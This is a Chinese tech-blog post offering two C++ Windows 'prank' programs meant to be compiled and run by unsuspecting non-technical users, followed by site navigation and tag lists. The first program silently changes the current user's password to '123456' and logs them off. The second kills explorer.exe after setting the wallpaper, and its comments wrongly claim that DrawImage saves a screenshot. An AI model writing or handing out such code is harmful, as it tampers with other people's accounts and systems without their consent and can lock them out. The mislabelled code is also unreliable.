网站首页 > 技术文章 正文
近两天突发奇想,写一点整蛊电脑小白的程序。考虑到代码需要在电脑上直接运行,这两例整蛊程序都使用C++编写,直接编译成exe程序让电脑小白运行后崩溃。注意,这两个程序仅仅用于整蛊人,操作都是可逆的,不会对系统造成任何损害,不是病毒。
整蛊程序一
程序的功能很简单,运行后修改当前用户的密码为“123456”,修改完成后自动注销当前用户。很多人的电脑压根不设置密码的,被设置密码后又不知道密码是啥,瞬间就抓狂了。
代码如下:
#include <windows.h>
#include <LM.h>
#pragma comment(lib, "netapi32.lib")
int main() {
// 获取当前用户的账户名
TCHAR username[MAX_PATH];
DWORD size = MAX_PATH;
GetUserName(username, &size);
// 更新密码为123456
if (NetUserChangePassword(NULL, username, NULL, L"123456") != NERR_Success) {
return -1;
}
// 注销
ExitWindowsEx(EWX_LOGOFF, 0);
return 0;
}
整蛊程序二
程序的功能分为两步:第一步将当前的屏幕截图保存,并设置为桌面背景;第二步结束explorer进程。本程序运行后,被整蛊的人屏幕中看到的依然是自己的“桌面”,只不过是背景图而已,由于explorer进程已经被杀死,点击任何东西都不会有反应。可以想象被整蛊对象的抓狂状态。
代码如下:
#include <windows.h>
#include <gdiplus.h>
#include <TlHelp32.h>
#include <string>
using namespace Gdiplus;
#pragma comment(lib, "gdiplus.lib")
int main() {
GdiplusStartupInput gsi; //创建一个GDI+启动输入变量,作为参数传递给GdiplusStartup函数
ULONG_PTR gdipToken; //定义一个ULONG_PTR类型的变量,作为参数传递给GdiplusStartup函数
GdiplusStartup(&gdipToken, &gsi, NULL); // 初始化GDI+库
Graphics* grp = NULL; //定义Graphics指针
HDC hdcScreen = GetDC(NULL); //获得屏幕HDC句柄
grp = new Graphics(hdcScreen); //将获得的HDC句柄传递给Graphics对象,从而初始化Graphics对象
Image image(L"D:\\screen.jpg");//创建Image对象,该对象表示要保存的图片文件
grp->DrawImage(&image, 0, 0); //将当前屏幕截图保存到image中
// 设置Windows桌面背景
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, (void*)L"D:\\screen.jpg", SPIF_SENDCHANGE);
delete grp; //释放内存
ReleaseDC(NULL, hdcScreen); //释放内存
GdiplusShutdown(gdipToken); //关闭GDI+库
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);//创建一个系统快照,其中包括所有进程信息。
PROCESSENTRY32 pe;//定义一个进程信息的变量,用来存储被找到的进程信息
pe.dwSize = sizeof(PROCESSENTRY32); //将pe大小赋值
//遍历当前及子进程,并将信息存入pe中
BOOL bRet = Process32First(hSnapshot, &pe); //使用Process32First函数读取快照中的首个进程信息,并将其存入pe。
while (bRet) //循环向后读取不断对比进行匹配,当匹配成功时退出循环
{
if (strcmp("explorer.exe", pe.szExeFile) == 0) //如果文件名匹配上了就执行相应功能
{
HANDLE hExplorer = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID);
TerminateProcess(hExplorer, 0);
CloseHandle(hExplorer);
break;
}
bRet = Process32Next(hSnapshot, &pe);
}
CloseHandle(hSnapshot);
return 0;
}
提醒一下大家,整蛊程序仅适用于朋友之间开开玩笑,千万不要把人家激怒了哦!
以上两个程序都是我即时想出来的,不知道大家有没有什么更好的整蛊程序的点子,如果有什么好的点子,欢迎在评论区留言。
猜你喜欢
- 2025-01-07 MACD追踪主力!超强MACD,让你一眼看穿主力动向!附指标公式
- 2025-01-07 Hive的10种常用优化总结,再也不怕MapReduce分配不均了
- 2025-01-07 C语言中空指针和NULL关系是什么?
- 2025-01-07 垃圾回收器 G1 详解
- 2025-01-07 盘点c++几种常见的设计模式及具体实现
- 2025-01-07 10问10答:你真的了解线程池吗?
- 2025-01-07 EXPMA选股法
- 2025-01-07 无锁队列的几种实现及其性能对比
- 2025-01-07 满屏红色:C语言中最常见的这些报错,你经历过多少
- 2025-01-07 C语言-NULL、\0、0引发的思考
- 02-21走进git时代, 你该怎么玩?_gits
- 02-21GitHub是什么?它可不仅仅是云中的Git版本控制器
- 02-21Git常用操作总结_git基本用法
- 02-21为什么互联网巨头使用Git而放弃SVN?(含核心命令与原理)
- 02-21Git 高级用法,喜欢就拿去用_git基本用法
- 02-21Git常用命令和Git团队使用规范指南
- 02-21总结几个常用的Git命令的使用方法
- 02-21Git工作原理和常用指令_git原理详解
- 最近发表
- 标签列表
-
- cmd/c (57)
- c++中::是什么意思 (57)
- sqlset (59)
- ps可以打开pdf格式吗 (58)
- phprequire_once (61)
- localstorage.removeitem (74)
- routermode (59)
- vector线程安全吗 (70)
- & (66)
- java (73)
- org.redisson (64)
- log.warn (60)
- cannotinstantiatethetype (62)
- js数组插入 (83)
- resttemplateokhttp (59)
- gormwherein (64)
- linux删除一个文件夹 (65)
- mac安装java (72)
- reader.onload (61)
- outofmemoryerror是什么意思 (64)
- flask文件上传 (63)
- eacces (67)
- 查看mysql是否启动 (70)
- java是值传递还是引用传递 (58)
- 无效的列索引 (74)